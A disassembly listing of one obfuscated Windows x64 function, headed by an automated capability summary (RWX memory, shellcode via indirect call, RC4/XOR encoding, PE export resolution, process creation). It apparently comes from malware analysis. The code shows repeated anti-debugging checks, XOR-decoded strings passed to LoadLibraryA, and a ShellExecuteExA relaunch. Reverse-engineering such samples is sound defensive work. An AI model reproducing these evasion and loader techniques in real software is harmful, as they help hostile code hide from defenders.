Function at 0x1400189e4
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.1400877f0
sub rsp, rax
mov rax, qword [0x1400df700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[8]
mov r13d, 0x603ef84
mov r12d, 0x11b6e372
cmp rax, r12
jne 0x140018ad7
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018ab7
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018ab7
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018ad7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov ecx, r12d
call fcn.1400089c4
mov rax, qword gs:[8]
movabs rsi, 0x8d5b3c2ae1c0860
cmp rax, r12
jne 0x140018b93
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018b73
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018b73
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018b93
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
mov ebx, 0xf92f44a
mov r14d, 0xf873306
cmp rax, r12
jne 0x140018c56
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018c36
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018c36
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018c56
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov ecx, r12d
call fcn.140017f60
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140018d08
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018ce8
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018ce8
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018d08
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140018db2
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018d92
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018d92
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018db2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
lea rdx, [0x1400d4260]
lea rcx, [rbp + 0x998]
call fcn.140008388
mov rdx, rax
mov ecx, r12d
call fcn.140011824
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140018e7a
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018e5a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018e5a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018e7a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140018f24
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018f04
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018f04
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018f24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov dword [rbp + 0x90], 0xe06bef7e
mov dword [rbp + 0x94], 0xb0073ca3
mov word [rbp + 0x98], 0xe3
xor r15d, r15d
mov edi, r15d
movabs rsi, 0x10563b41a
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.1400282e0
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140018f51
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[8]
cmp rax, r12
movabs rsi, 0x8d5b3c2ae1c0860
jne 0x14001904d
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001902d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001902d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001904d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019106
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400190e6
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400190e6
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019106
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov dword [rbp + 0x1f0], 0x2162fd3
mov dword [rbp + 0x1f4], 0x6a67edcf
mov dword [rbp + 0x1f8], 0xd66b1028
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140027f3c
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140019139
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
jne 0x140019231
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019211
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019211
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019231
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1400181a8
test eax, eax
jne 0x1400194dd
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400b1050
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001934e
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400b1050
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0xba909d73
mov word [rbp - WSAGetLastError], 0x6c
movabs rsi, 0x10563b41a
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14002826c
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x1400192be
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140027bc5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140019358
movabs rsi, 0x10563b41a
mov word [rsp + 0x78], recv
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xb
lea rcx, [rsp + 0x78]
call fcn.140028114
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140018028
mov rbx, rax
movdqa xmm0, xmmword [0x1400d5100]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400d4e90]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xf4aa93b3
mov dword [rbp + 0xc1c], 0x8f38b1ca
mov dword [rbp + 0xc20], 0x66dfa27a
mov word [rbp + 0xc24], reloc.WS2_32.dll_recvfrom
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.1400281f8
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x1400193dd
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14002928c
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14002944c
lea rcx, [rbp + 0x9d8]
call fcn.140028da4
lea rcx, [rbp + 0x9b8]
call fcn.140028da4
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], reloc.WLDAP32.dll_Ordinal_45
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140027cf4
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140019476
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.1400289f8
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019596
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019576
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019576
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019596
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019646
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019626
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019626
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019646
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x1400196ff
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400196df
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400196df
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400196ff
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x1400197a9
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019789
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019789
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400197a9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019853
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019833
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019833
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019853
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
xor ecx, ecx
call fcn.14008f2c4
mov rbx, rax
mov word [rsp + 0x7c], 0x50
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x50
lea rcx, [rsp + 0x7c]
call fcn.140028114
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0x54f46608
mov word [rbp - 0x5c], 0x7069
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140027fb4
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x1400198a6
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400927a4
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
jne 0x1400199ae
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001998e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001998e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400199ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019a58
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019a38
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019a38
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019a58
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov ecx, 2
call fcn.14008f2c4
mov rbx, rax
mov word [rbp - 0x80], 0x55
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x55
lea rcx, [rbp - 0x80]
call fcn.140028114
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x69393dce
mov dword [rbp - 0x34], 0xf4d506
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140028184
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140019aa6
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400927a4
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
jne 0x140019bad
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019b8d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019b8d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019bad
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019c57
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019c37
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019c37
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019c57
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov ecx, 1
call fcn.14008f2c4
mov rbx, rax
mov word [rbp - 0x7c], 0x55
movabs rsi, 0x10563b41a
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x55
lea rcx, [rbp - 0x7c]
call fcn.140028114
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x69393dce
mov dword [rbp - 0x2c], 0xf4d506
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140028184
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140019ca5
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400927a4
mov rax, qword gs:[8]
cmp rax, r12
movabs rsi, 0x8d5b3c2ae1c0860
jne 0x140019d9f
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019d7f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019d7f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019d9f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140019e49
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019e29
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019e29
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019e49
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d5050]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400d4fc0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400d5030]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xf05b0934
mov dword [rbp + 0xd4c], 0xe5f380cd
mov dword [rbp + 0xd50], 0x85b662f0
mov word [rbp + 0xd54], 0x5a85
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.1400280a0
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140019eb5
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.14000822c
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
mov ebx, 0xf92f44a
jne 0x140019fbf
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019f9f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019f9f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019fbf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a069
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a049
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a049
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a069
